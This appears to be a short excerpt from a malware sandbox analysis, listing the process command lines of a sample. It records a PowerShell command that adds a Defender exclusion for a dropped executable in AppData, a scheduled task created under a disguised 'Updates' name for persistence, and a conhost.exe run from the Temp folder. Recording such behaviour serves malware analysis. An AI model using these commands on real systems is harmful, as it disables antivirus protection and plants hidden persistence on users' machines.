powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\ixdqiFPfI.exe"
2472wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "2472" "932"
2932schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ixdqiFPfI" /XML "C:\Users\test22\AppData\Local\Temp\tmp14A7.tmp"
2524conhost.exe "C:\Users\test22\AppData\Local\Temp\conhost.exe"
2688